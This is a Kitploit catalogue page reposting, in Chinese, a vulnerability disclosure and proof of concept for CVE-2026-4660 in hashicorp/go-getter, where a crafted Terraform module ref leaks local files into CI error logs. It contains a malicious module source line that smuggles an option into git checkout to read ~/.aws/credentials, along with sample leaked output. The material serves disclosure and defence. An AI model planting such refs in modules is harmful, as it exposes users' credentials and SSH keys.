Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-4660-PoC — CVE-2026-4660 的 PoC:通过 hashicorp/go-getter 中的 git checkout 实现任意文件读取 | Kitploit
工具/GitHubGitHub/gouldnicholas/cve-2026-4660-poc
漏洞分析漏洞利用Web应用程序漏洞利用云安全DevSecOps供应链安全
GitHubgouldnicholas/cve-2026-4660-poc

CVE-2026-4660-PoC

CVE-2026-4660 的 PoC:通过 hashicorp/go-getter 中的 git checkout 实现任意文件读取

查看仓库
105个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-4660 PoC

针对 CVE-2026-4660(HashiCorp 安全公告)在 hashicorp/go-getter 中的概念验证。我是原始报告者。

攻击者发布一个 Terraform 模块,其 ref 为 --pathspec-from-file=/path/to/file。当受害者运行 terraform init 时,go-getter 克隆仓库并调用 git checkout --pathspec-from-file=/path/to/file。Git 逐行读取目标文件,将每一行作为 pathspec 校验失败,并在错误输出中泄露文件内容。恶意 ref 位于攻击者的模块源码中,而非受害者自身的配置中。terraform init 以模块下载错误失败;凭据值出现在输出中嵌入的 git pathspec 错误里。无需执行 apply。

该漏洞存在于 go-getter 库的两条代码路径中。当目标目录不存在时走 clone();当目录已存在时走 update()。两者都会调用同一个 checkout()。clone() 在出错时会延迟执行 os.RemoveAll(dst);update() 则不会,因此目录在 checkout 失败后仍然保留。

Terraform 的模块安装器(initwd/module_install.go:251)在调用 go-getter 之前总是对目标目录执行 os.RemoveAll,因此 Terraform 总是触发 clone()。Packer、Nomad 以及任何直接针对已存在目录调用 go-getter API 的工具则会触发 update()。本 PoC 演示了这两条路径。

影响所有使用 go-getter 的工具:例如 Terraform、Nomad、Packer、Waypoint。

修复版本: go-getter v1.8.6(截至 2026-04-10,尚无包含该修复的 Terraform 版本发布) 严重性: 7.5 高危(CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)

攻击场景

攻击者在 GitHub 上发布一个看起来正常的 Terraform 模块,例如一个带有真实可用代码的 AWS VPC 模块。在模块内部,一个子模块的 source 指向第二个由攻击者控制的仓库,其中包含恶意 ref:

root@kitploit:~
# 位于攻击者的模块内部;受害者永远不会读取此文件
module "internal" {
  source = "git::https://github.com/attacker/tf-internal.git?ref=--pathspec-from-file=/home/runner/.aws/credentials"
}

受害者将顶层模块添加到自己的配置中:

root@kitploit:~
module "vpc" {
  source  = "git::https://github.com/attacker/tf-aws-vpc.git"
}

他们在本地或 CI 中运行 terraform init。go-getter 克隆顶层模块,发现嵌套的子模块,也将其克隆,然后调用 git checkout --pathspec-from-file=/home/runner/.aws/credentials。Git 读取该文件,文件内容出现在 terraform 的错误输出中:

root@kitploit:~
│ Error: Failed to download module
│
│   error: pathspec 'aws_access_key_id = AKIAIOSFODNN7EXAMPLE' did not match any file(s) known to git
│   error: pathspec 'aws_secret_access_key = wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY' did not match any file(s) known to git

注意:[default] 会被 terraform 的 colorstring 渲染器剥离,即使使用 -no-color 也是如此(被解释为样式重置标记),在实际输出中显示为空 pathspec ''。PoC 中原始的 git checkout 输出显示了未经篡改的内容。

该攻击不仅限于凭据文件。进程可读取的任何文件都是目标:/etc/passwd、CI 令牌文件、应用程序配置,以及运行环境中可访问的任何内容。PoC 演示了 ~/.aws/credentials、~/.ssh/id_rsa 和 /etc/passwd。

在 GitHub Actions、CircleCI 或任何记录 terraform init 输出的 CI 系统中,这些日志对所有拥有仓库访问权限的人都是可读的,并且通常会被导出到日志聚合平台(Datadog、Splunk 等)且永不过期。受害者的 AWS 凭据、SSH 密钥或运行环境可读取的任何其他文件最终都会出现在日志历史中。受害者看到的是构建失败;而凭据值则隐藏在看似 git 错误的输出中。

环境要求

  • Docker

运行

root@kitploit:~
docker compose up --build

两个容器:gitserver 通过 HTTP 提供攻击者的裸 git 仓库,poc 以用户 runner 身份运行,带有位于 ~/.aws/credentials、~/.ssh/id_rsa 的伪造凭据以及一个可读取的 /etc/passwd。阶段 1 运行 terraform init 并演示 clone() 路径;一个哨兵检查确认模块目录在失败时被 clone() 延迟执行的 RemoveAll 删除。阶段 2 直接执行 go-getter 的 update() 调用序列(fetch + checkout),以证明相同的 checkout() 漏洞会被触发,且目录得以保留,这与 update() 中缺少 RemoveAll 延迟调用的情况一致。无需交互。

受影响版本

  • Terraform v1.14.8(最新稳定版,go-getter v1.8.2)
  • go-getter v1.8.2 至 v1.8.5
  • Git 2.45.4
下载工具